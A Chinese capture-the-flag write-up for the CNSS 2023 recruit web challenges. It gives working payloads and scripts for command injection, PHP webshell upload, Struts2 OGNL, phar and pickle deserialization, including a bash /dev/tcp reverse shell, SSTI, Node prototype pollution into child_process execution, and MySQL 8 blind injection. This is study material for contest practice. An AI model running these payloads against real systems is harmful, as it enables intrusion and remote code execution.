CNSS 2023 Recruit WriteUps~~~

本文最后更新于:1 分钟前

Web

[Baby] 🦴 babyHTTP

Get,Post,Cookie的应用,根据提示一步一步来就好了~~

curl -X POST http://XXXX:XXXX/?CNSS=hackers -d "web=fun" --cookie "admin=true"

(不懂curl的人有难了

CNSS{w2b_1s_Reaiiy_7un!!!}

[Baby] 🙋 PHPinfo

根据提示访问/phpinfo.php

Ctrl + F 搜索cnss获得Flag

cnss{l3t_u5_l3arn_php1nfo}

[baby] 🏓 Ping

访问题目地址,可知为简单的命令注入,因为没有过滤,那我们就狠狠的inject~~

还是用curl

curl -X POST http://124.221.34.13:55566/ -d "ip=127.0.0.1;ls"

这里使用;进行隔断,类似的符号还有$,|,-,(,),`,||,&,&&,},{

参考 CTFping命令绕过及符号用法_ctf ping-CSDN博客

Ping-1

猜一手文件在根目录

Ping-2

curl -X POST http://124.221.34.13:55566/ -d "ip=127.0.0.1;cat /flag"

(绕过cat被过滤,可以尝试

1
2
3
4
5
more
less
head
tail
...

得到flag

CNSS{p0ng_p0ng_pong!!!}

[Baby+] 🥇 我得再快点

访问题目地址,看到网页不断刷新以及提示可知为快速计算

(就是要用脚本访问获取Key的值,并计算出其md5值,再post回去,关键要保证session一致,以保证post对应的网页与get的一致

这里使用py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import hashlib

m = hashlib.md5()
s = requests.Session()
url = "http://124.221.34.13:55590/"
r = s.get(url)
res = r.content
# print(res)
a = res.find("Key : ".encode())
b = res.find("<span id".encode())
# print(res[a + 6 : b])
m.update(res[a + 6 : b])
url = f"http://124.221.34.13:55590/check?value={m.hexdigest()}"
r = s.get(url)

print(r.content)

cnss{3njoy_py5cript_n0w}

[Baby+] 🐶 CNSS娘の宠物商店

访问题目地址,根据提示直接右上角进入登录界面,用户名为admin,尝试密码为admin失败(应该不至于吧~~

猜测sql注入,输入 1' 发现报错

sql-1

可知是单引号过滤,直接尝试万能密码1' or '1'='1-1' or 1=1 #

sql-2

芜湖~~~

cnss{h0W_d1d_y0u_l0g1n_t0_my_4dm1n_p4n3l?}

[Easy] 🥵 2048

访问题目地址,嘿嘿直接开玩,不就1000000分吗

老规矩F12看看,欸怎么把键盘按爆了都没反应,过滤了功能键区,再试试Ctrl+Shift+ICtrl+Shift+C成功打开

2048-1

可以看到调用getflag()函数来获取flag

2048-2

Ctrl+F 开搜发现在main2048.js里,但是加密了(哭

简单往下扫一下没发现啥,好好好,回去网页看看,发现score值会变化,那js中必然有函数在使其更新

2048-3

在js中搜score,发现updateScore()函数,控制台尝试updateScore(1000001),发现虽然数值改变了,但点flag仍然不行(这不是掩耳盗铃吗~~

在其他函数搜score,发现score为全局定义的变量,每次加分都会随着更新,嘿嘿,那不直接控制台改一下就好了

2048-4

再点flag,发现成功啦,哈哈哈哈哈哈哈哈哈

cnss{3asy_fr0nt_kn0wledge}

[Easy] 👤 换个头像先

访问题目地址,右上角随便注册一下,登录,发现要让我们换头像

应该是文件上传题,一句话木马启动,

<?php @eval($_POST[1]);?>写入文件,并改后缀为jpg

BurpSuite启动,开启代理抓包,上传jpg

upload-1

将后缀改为php(如果有过滤可以尝试php2,php3,php4,php5,phtml,以及大小写和复写等其他

upload-2

放行,并查看http历史记录查看上传目录

upload-3

然后蚁剑启动

upload-4

getshell,访问根目录得到flag

upload-5

cnss{D4ng3r0us_F1l3_Up10ad!}

[Mid] 7️⃣ EZRCCCCE

访问题目地址

rce-1

观察代码,filter函数中做了过滤,接下来的代码对Get的内容做了长度限制,第一眼没见过,开搜,查阅得知,linux中可以在没有写完的命令后面加\,可以将一条命令写在多行中

比如一条命令cat flag可以如下表示

rce-2

同时把命令一行一行写进文本中也是可以执行的

rce-3

注意是\\,因为要防止被转义

以及>>>的区别:

>> 是追加内容 >` 是覆盖原有内容

于是网上找了个脚本(我才不是脚本小子呢

1
2
3
<?php eval($_GET[1]); # 需要写入的一句话木马

PD9waHAgZXZhbCgkX0dFVFsxXSk7 # base64编码后
1
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php # 组合一下

payload.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

ls -t是根据时间顺序把文件名列出来,刚好满足我们需求,但注意:是倒序,这也就是为什么payload.txt中的命令是反的了

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://124.221.34.13:55559/?6={0}"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

# 检查是否攻击成功
test = requests.get(
"http://124.221.34.13:55559/sandbox/d178dace7559b986abd1b832eabef837/1.php"
)
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

这边还有个小点,也就是那个sandbox的目录名

rce-4

因为限制8个字符,所以可以直接通过ls ..来获得

rce-5

然后就可以拼接地址

http://124.221.34.13:55559/sandbox/0eea99a28b6e985ffbe584f98dd999b7/1.php

因为前面木马是GET形式所以直接访问

http://124.221.34.13:55559/sandbox/0eea99a28b6e985ffbe584f98dd999b7/1.php?1=system('ls /');

注意分号别忘了

rce-6

http://124.221.34.13:55559/sandbox/0eea99a28b6e985ffbe584f98dd999b7/1.php?1=system('cat /flag');得到flag

CNSS{y0u_kn0w_h0w_7o_k22p_fit}

[Mid] 🐱 Tomcat?cat~

嘿嘿,这题当时想了好久,后面才发现网页标题有提示Struct2,开搜

但是看了半天其实也没看太懂,这里贴一下别人的原理解释

Struts 2 框架的表单验证机制( Validation )主要依赖于两个拦截器:validation 和 workflow。validation 拦截器工作时,会根据 XML 配置文件来创建一个验证错误列表;workflow 拦截器工作时,会根据 validation 拦截器所提供的验证错误列表,来检查当前所提交的表单是否存在验证错误。

在默认配置下,如果 workflow 拦截器检测到用户所提交的表单存在任何一个验证错误,workflow 拦截器都会将用户的输入进行解析处理,随即返回并显示处理结果。

Struts 2 框架中的一个标签处理功能: altSyntax

altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行。

altSyntax 功能在处理标签时,对 OGNL 表达式的解析能力实际上是依赖于开源组件 XWork。

于是,在 XWork 组件版本小于 2.0.4 以及 altSyntax 功能开启的情况下,恶意攻击者可以通过提交一个带有 OGNL 表达式的表单请求,故意触发表单验证错误——最终该表单请求中恶意的 OGNL 表达式会被 XWork 组件解析并执行,随即由 workflow 拦截器返回执行结果。

再贴一个找到的exp,稍微修改下对应命令就能找到flag了:

1
?age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls webapps/flaaaaaaag%27%29.getInputStream%28%29%29%29+%2B+%27

至于为什么选择age,因为逐个尝试只有他回显了

TODO:才疏学浅,以后有空再来理解一遍

CNSS{t0mcat_1s_4_cute_cat_m1a0}

[Mid] 🔧 where is my unserialize?

这题也磨了好久,访问题目,到处点点

发现查看文件可以查看源码,那就一个个试下

index.php:

image-20231019005106778

base.php:image-20231019005332254

upload_file.php:image-20231019005437122

file.php:

image-20231019005500258

function.php:image-20231019005529014

class.php:image-20231019005718896

image-20231019005731143

image-20231019005753405

有点多。。。

这也是我之前没见过的题,用到了phar,本来想网上找个模板套一下试试,结果成功了

贴一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115

<?php
class CNSS
{
public $shin0;
public $name;
/*
public function __construct($name)
{
$this->name=$name;
}

public function __wakeup()
{
$this->shin0 = 'cnss';
$this->_sayhello();
}
public function _sayhello()
{
echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');
}


public function __destruct()
{
$this->shin0 = $this->name;
echo $this->shin0.'<br>';
}*/
}



class CN55
{
public $source;
public $params;
/*
public function __construct()
{
$this->params = array();
}
public function __invoke()
{
return $this->_get('key');
}
public function _get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
*/
}

class Show
{


public $key;
public $haha;
/*
public function __construct($file)
{
$this->key = $file;
echo $this->key.'<br>';
}
public function __toString()
{
$func = $this->haha['hehe'];
return $func();
}
public function __call($key,$value)
{
$this->$key = $value;
}

public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('<h1>hackerrrrrr!<br>join CNSS~<h1>');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { //Do you know 'Php ARchive'?
echo "hacker~";
$this->source = "index.php";
}
}
*/
}
$cnss = new CNSS();
$cn55 = new CN55();
$show = new Show();
$cn55->params['key']='f1ag.php';
$cnss->name = $show;
$show->haha['hehe']=$cn55;
$phartest=new phar('phar.phar');//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($cnss);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("payload.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

TODO:哭了,当时看的好绕,不是很懂,以后再来看看

CNSS{Y0u_Kn0w_PHP_v2ry_we11!!}

[Mid] 🚓 can can need shell

根据hint:

https://github.com/z-song/laravel-admin/issues/5764

可以找到别人对漏洞的复现:

https://flyd.uk/post/cve-2023-24249/

访问admin目录,admin/admin登录

这个漏洞是任意文件上传

具体方法如下:

把一句话木马写入文件,文件后缀改为jpg

使用BurpSuite抓包,先不更改,直接放行

再到http历史记录中找到post记录,并右键进行重放

image-20231019011616135

文件后缀改为php,并发送

image-20231019011730708

漏洞复现成功啦,但是你会发现怎么跟上面文章不一样

嗯?为什么?究竟为什么?啊啊啊啊,玉玉了

百思不得其解,但经过后来一通乱点发现了机密

是因为做了过滤

点击Media manager

image-20231019011953233

会有一个FilesystemAdapter.php

下载来看看image-20231019012323953

发现对后缀以及内容进行了过滤,真是太罪恶了😡

怎么办,难道就要停滞不前了吗

嘿,不要小看羁绊的力量啊!!

好吧,其实是等了几天,出题人了加了hint

php关键词列表:
https://www.php.net/manual/zh/reserved.keywords.php
参考这个:
https://www.php.net/manual/zh/function.include.php

一看,师傅好手艺,妙手回春啊,受教了

waf没有过滤include和引号

那就上传个一句话木马txt(蚁剑连不上,不造为什么

再用include包含它,执行就好了,方法跟上面一样

一通操作直接得到flag

CNSS{Y0U_H4cked_My_LaRaV31_4dM1n}

[Mid] 💻 CNSS娘の聊天室

这题卡死我了,搜索引擎快被橄榄了呢

一眼ssti,但是屏蔽了英文字母

好好好,不会,开搜,经过漫长的搜索,发现可以八进制绕过(🤮

1
2
3
4
5
//payload
{{''['__class__']['__bases__'][0]['__subclasses__']()[133]['__init__']['__globals__']['popen']("ls")['read']()}}

//转换为8进制
{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']("\154\163")['\162\145\141\144']()}}

image-20231019155400087

CNSS{y0u_ru1n3d_my_ch4tr00m!}

[Mid] 🛒 CNSS娘のFlag商店

(其实我觉得这个才应该是Mid+

/code下载源码

buyInfo.py

1
2
3
4
5
6
7
8
9
NAME = "Rich"
MONEY = 2000


def reset():
global NAME, MONEY
NAME = "Rich"
MONEY = 2000

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# encoding: utf-8
import os
import pickle

import buyInfo
import flask

app = flask.Flask(__name__)
flag = os.environ.get('FLAG')


class Hi():
def __init__(self, name, money):
self.name = name
self.money = money

def __eq__(self, other):
return self.name == other.name and self.money == other.money


@app.route('/')
def index():
user = flask.request.args.get('user')
if user is None:
return 'View code in /code to buy flag.'
if 'R' in user.upper():
return '臭要饭的别挡我财路'

user = pickle.loads(user.encode('utf-8'))
print(user.name, user.money)
print(buyInfo.NAME, buyInfo.MONEY)
if user == Hi(buyInfo.NAME, buyInfo.MONEY):
buyInfo.reset()
return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'

return '臭要饭的别挡我财路'


@app.route('/code')
def code():
file = 'code.zip'
return flask.send_file(file, mimetype='application/zip')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

根据源码可知要对 /?user 进行请求

R命令进行了过滤,但是我们还有i和从c指令

R:

1
2
3
4
b'''cos
system
(S'whoami'
tR.'''

i:

1
2
3
4
b'''(S'whoami'
ios
system
.'''

o:

1
2
3
4
b'''(cos
system
S'whoami'
o.'''

这里涉及到一个叫opcode的东西

找到的资料:

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)

pickle反序列化初探 - 先知社区 (aliyun.com)

Python pickle 反序列化实例分析 - 安全客,安全资讯平台 (anquanke.com)

一些点:

  • c指令会自动import库,所以在源代码中不需要引入相关库

  • opcode可以手写,也可以用 pickle.dumps(,protocol=0) 生成,但是使用的pickle版本不能过高,因为高版本有很多不可见字符,不方便编辑(生成的不知道为啥我用了,所以我干脆手写了

  • 可以使用pickletools来调试

    pickletools是python自带的pickle调试器,有三个功能:

    1. 反汇编一个已经被打包的字符串
    2. 优化一个已经被打包的字符串
    3. 返回一个迭代器来供程序使用

    我们一般使用前两种。详看资料1

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import pickle
import buyInfo
import pickletools
import requests
import base64
import urllib


class Hi:
def __init__(self, name, money):
self.name = name
self.money = money

def __eq__(self, other):
return self.name == other.name and self.money == other.money


data = b"""c__main__
buyInfo
(S'1'
S'2'
db0(c__main__
Hi
cbuyInfo
NAME
cbuyInfo
MONEY
o.
"""

print(pickletools.dis(data))
print(pickle.loads(data).NAME, pickle.loads(data).MONEY)

url = f"https://cnss-flag-shop-d22515ddfd9086fbb6b0c41c686a25c3.ctf.hurrison.com/?user={data.decode()}"
response = requests.request("GET", url)
print(response.text)

1
2
3
4
5
6
7
8
9
10
11
12
data = b"""c__main__
buyInfo
(S'1'
S'2'
db0(c__main__
Hi
cbuyInfo
NAME
cbuyInfo
MONEY
o.
"""

image-20231019171808844

解释一下这一坨

  1. 手写c指令获得全局变量__main__.buyInfo
  2. (标记mark压入栈
  3. 再用c指令引入__main__.Hi
  4. c引入buyInfo.NAMEbuyInfo.MONEY
  5. o寻找栈中的上一个MARK(3),以之间的第一个数据__main__.Hi为callable,第2个到第3个数据为参数,执行该函数(或实例化一个对象)
  6. 0丢弃栈(可以不写,但是会报警告:stack not empty after STOP也可以放在1和2之间,不知道为什么
  7. .结束
opcode描述具体写法栈上的变化memo上的变化
c获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n对象被储存
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

–来自pickle反序列化初探 - 先知社区 (aliyun.com)

CNSS{fl4g_f0r_r1ch_k1d5}

[Mid+] 🔪 CNSS娘の自助Flag商店

也是 pickle

同样 /code 下载源码

buyInfo.py

1
2
3
4
5
6
7
8
9
NAME = "Rich"
MONEY = 2000


def reset():
global NAME, MONEY
NAME = "Rich"
MONEY = 2000

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# encoding: utf-8
import pickle

import flask
import buyInfo

app = flask.Flask(__name__)
# flag is in /flag.txt


class Hi():
def __init__(self, name, money):
self.name = name
self.money = money

def __eq__(self, other):
return self.name == other.name and self.money == other.money


@app.route('/')
def index():
user = flask.request.args.get('user')
if user is None:
return 'View code in /code to buy flag.'
if 'R' in user.upper():
return '臭要饭的别挡我财路'

user = pickle.loads(user.encode('utf-8'))
if user == Hi(buyInfo.NAME, buyInfo.MONEY):
buyInfo.reset()
return '你说得对,但是上次CNSS娘被你骗了之后很伤心,把商店改成了自助flag商店,你得自己找flag'

return '臭要饭的别挡我财路'


@app.route('/code')
def code():
file = 'code.zip'
return flask.send_file(file, mimetype='application/zip')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

同样,用/user?请求且过滤了R命令

但这题不需要user == Hi(buyInfo.NAME, buyInfo.MONEY):

因为picke.loads()在比较之前就执行了opcode

那就直接上一题,除了R之外的2个RCE选1个就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import pickle
import buyInfo
import pickletools
import requests
import base64
import urllib


class Hi:
def __init__(self, name, money):
self.name = name
self.money = money

def __eq__(self, other):
return self.name == other.name and self.money == other.money


data = b"""(cos
system
S"bash -i >& /dev/tcp/xxxx/9999 0>&1"
o."""

print(urllib.parse.quote(data))
url = f"https://cnss-self-help-flag-shop-62058b9d09f9929106bff019ac365627.ctf.hurrison.com/?user={urllib.parse.quote(data)}"
response = requests.request("GET", url)
print(response.text)
# pickle.loads(data)
print(pickletools.dis(data))

是不是很简单😡,但是py的编码问题搞了我很久,讨厌py

反弹shell秒了,但是千万记得开端口(为了写一题花¥95,哭了

CNSS{fl4g_f0r_c1ev3r_k1ds}

[Mid+] 🏭 EzPollution_pre

嘿嘿,原型链,nodejs太好玩了

之前没接触过,开搜

上资料:

简单了解了一下,

现在我们知道了,当访问一个对象的某个属性时,会先在这个对象本身属性上查找,如果没有找到,则会通过它的__proto__隐式属性,找到它的构造函数原型对象,如果还没有找到就会再在其构造函数prototype__proto__中查找,这样一层一层向上查找就会形成一个链式结构,我们称为原型链

看文字好像有点抽象,我们来try try看

image-20231019175923135

可以看到a一直都是个空对象

但是我们通过增加继承关系mm

当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。

所以a.mm返回了原型上的属性

贴一下源码

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var express = require('express')
var router = express.Router()
var utils = require('../utils/common')

function waf(value) {
const blacklistRegex = /(exec|load)/i
if (blacklistRegex.test(value)) {
return false
}
return true
}

/* GET home page. */
router.post('/', require('body-parser').json(), function (req, res, next) {
res.type('html')
var secert = {}
var sess = req.session
let user = {}
utils.copy(user, req.body)
if (secert.psych === 'p5ych') {
if (waf(secert.eva1)) {
res.send(seval(secert.eva1))
} else {
res.send('hehe,,')
}
} else {
return res.json({
ret_code: 2,
ret_msg: '登录失败' + JSON.stringify(user),
})
}
})

module.exports = router

对于这题

  • 要使secret.psych == 'p5ych',但是secret是个空对象,所以就要用到原型链
  • 但login.js中并没有明显的原型链操作,这时我们注意到utils.copy(user, req.body),翻一下utils的源码

common.js

1
2
3
4
5
6
7
8
9
10
11
12
13
module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

观察copy函数,如果当key__proto__时,是不是就完成了一次原型链污染,实践一下

image-20231019191410727

发现污染成功,芜湖~~

接下来就比较简单了,因为一个环境只能污染一次,所以先本地运行一下试一下(记得搭一下nodejs环境

image-20231019191600257

打开BurpSuite抓包,点击登录

image-20231019220831796

修改post参数,放行

image-20231019234339420

得到回显

image-20231019234359250

需要注意的点

  • 源码中过滤了execload,所以可以使用+逃过waf
  • 这个回显的地方要慢慢调,好崩溃😒😒

本地调好了,那就上环境,如法炮制一下,得到flag

CNSS{v2ry_ea5y_N0dejs}

[Hard] 📀 newsql

我才不会告诉你这题我是手注的

如题sql注入,经过提示得到这是sql8.0的特性注入

资料:

【网安干货】MySQL8新特性注入技巧_mysql values row_IT老涵的博客-CSDN博客

【精选】Pwnhub2021七月赛NewSql(mysql8注入)_mysql8 注入 ctf_bfengj的博客-CSDN博客

得知sql8.0多了TableValue的语法

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

当然table也有几个比较奇怪的问题:

  • 符号比较(<符号的问题,在爆最后一位时与前面不同
  • 大小写问题(坑死我了,用binary’’来解决
  • 详情看资料
1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[,ROW(value_list)][,...]

value_list:
value[,value][,...]

column_designator:
column_index
# 但这题我没用到value,不太懂具体用法

以及新的表information_schema.TABLESPACES_EXTENSIONS

information_schema.TABLESPACES_EXTENSIONS一次性储存了数据库名和表名

不多说,上手实操才是真理

输入1 and 1=1 #正常回显

1 and 1=2 #不回显

找到注入点,尝试order byunionselect发现都被过滤了

那就靠猜的吧

id=1 and ('','')<=(table information_schema.TABLESPACES_EXTENSIONS limit 0,1) #时有回显,所以有两列

当时写完之后才想起来可以用脚本,头铁😢😢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//不如手注

var request = require('sync-request')
let arr = []
for (let i = 0; i < 40; i++) {
for (let j = 45; j < 126; j++) {
arr[i] = String.fromCharCode(j)
// console.log(arr.join(''))
// url = `http://124.221.34.13:55553/?id=1 and (binary'${arr.join('')}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 10,1) #`
url = `http://124.221.34.13:55553/?id=1 and ('9',binary'${arr.join(
''
)}')<(table cn55 limit 8,1) #`
var res = request('GET', url, {
timeout: 3000,
})
//console.log(String.fromCharCode(j - 1))
arr[i] = ''
if (
!res.getBody('utf-8').includes('psych') &&
!res.getBody('utf-8').includes('nonono') &&
j != 92
) {
console.log(i, String.fromCharCode(j - 1))
arr[i] = String.fromCharCode(j - 1)
break
}
}
if (!arr[i]) {
arr[i - 1] = String.fromCharCode(arr[i - 1].charCodeAt() + 1)
break
}
}
console.log(arr.join(''))

一个个试过去

?id=1 and (binary'${arr.join('')}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 10,1) #

库/表

idname
1mysql
2innodb_system
3innodb_temporary
4innodb_undo_001
5innodb_undo_002
6sys/sys_config
7cnss/users
8cnss/cn55
9cnss/uagents
10cnss/referers

可以猜到flag应该在cnss/cn55中

http://124.221.34.13:55553/?id=1 and ('9',binary'${arr.join('')}')<(table cn55 limit 8,1) #

idname
1Dumb@dhakkan.com
2Angel@iloveu.com
3Dummy@dhakkan.local
4secure@dhakkan.local
5stupid@dhakkan.local
6superman@dhakkan.local
7batman@dhakkan.local
8CNSS{1_want_t0_b2_b1ghacker}

别问我为什么要全写出来,我闲的

CNSS{1_want_t0_b2_b1ghacker}

[Hard] ✴️ EzPollution

真的是太Ez啦(🤐🤐🤐

观察源码,是ejs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
var express = require('express');

var app = express();
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: false }));

app.all("/", function (req, res) {
res.render(`${__dirname}/views/index.ejs`, { title: 'CNSS Login' });
})

app.all("/login", function (req, res) {
let user = merge({}, req.query)
if (user.username === "admin" && user.password === "admin") {
res.send({
msg: "Login success!"
})
}else{
res.send({
msg: "Login failed!"
})
}
})

app.use(function (req, res, next) {
res.status(404).send({
msg: "Not found!"
})
})

app.use(function (err, req, res, next) {
console.error(err.stack)
res.status(500).send({
msg: "Internal server error!"
})
})

function merge(target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]

for (var key in source) {
if (key === '__proto__') {
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
}
return target
}

var server = app.listen(5000, function () {

var host = server.address().address
var port = server.address().port

console.log("http://%s:%s", host, port)
});

  • 可以看到/login中用的是Get请求

这其实是卡我最久的地方🫥🫥🫥

不断尝试发现直接a[b][c]=111就行了,太痛了谁懂

image-20231020221007760

  • 其次merge函数过滤了__proto__,所以要换个方法

根据hint:EJS - Server Side Prototype Pollution gadgets to RCE | mizu.re

可以看到ejs有个注入点

1
2
3
4
5
6
{
"__proto__": {
"client": 1,
"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
}
}

但是hint中也是用的__proto__,于是乎开搜

前端原型链污染漏洞竟可以拿下服务器shell? - 掘金 (juejin.cn)

发现{"constructor": {"prototype": {"role": "admin"}}}一样可以污染原型链

那后面就简单了

构造

1
constructor[prototype][client]=true&constructor[prototype][escapeFunction]=1; return global.process.mainModule.constructor._load('child_process').execSync('whoami')

注意这里的return,我找了很久的回显方式,发现当攻击完之后,在访问一次初始网页,就会自动下载命令执行结果

原理我猜测是

当用escapeFn截断原始命令时return global.process.mainModule.constructor._load('child_process').execSync('whoami')就成了单独的一条命令

当再次访问登录界面时,会complie被污染的escapeFn使语句执行,也就会自动下载命令执行结果

试过反弹shell,似乎不行(泪流满面

不确定哈。。

cnss{JavaScr1pt_is_4w3s0m33333}

[Hard+] 🥇 ruoyi with fastjson

Hint:

  • 环境10分钟重置一次, 请不要故意破坏环境或泄露flag, 所有流量都将会被记录
  • 任意文件读取 –>flag part 1
  • 想办法从/proc搞到jar包在哪
  • 逆向jar包 –>flag part 2
  • 找fastjson反序列化点,搞定payload的加密解密
  • getshell –>flag part 3
  • 一些可能有用的项目及工具东西:
    https://github.com/welk1n/JNDI-Injection-Exploit
    https://github.com/WhiteHSBG/JNDIExploit
    https://github.com/pen4uin/java-memshell-generator-release
    https://xz.aliyun.com/t/12492
    https://xz.aliyun.com/search?keyword=fastjson

没有公网地址,可以考虑frp,例如https://www.natfrp.com/,或者内存马等,可以参考提供的链接2、3、4

ruoyi版本为4.7.6

若依 4.7.6 版本 任意文件下载漏洞(审计复现) - Tanya203 - 博客园 (cnblogs.com)

最新漏洞复现】 RuoYi 任意文件下载漏洞 (qq.com)

搜索得到漏洞为任意文件下载

根据复现方法try try

Flag Part 1

系统监控–>定时任务

image-20231020225955850

确定,更多操作–>执行一次

访问/common/download/resource?resource=Info.xml:.zip

得到flag1,我才不会告诉你我不是这么获取的,我当时试了半天得不到,直接第二题

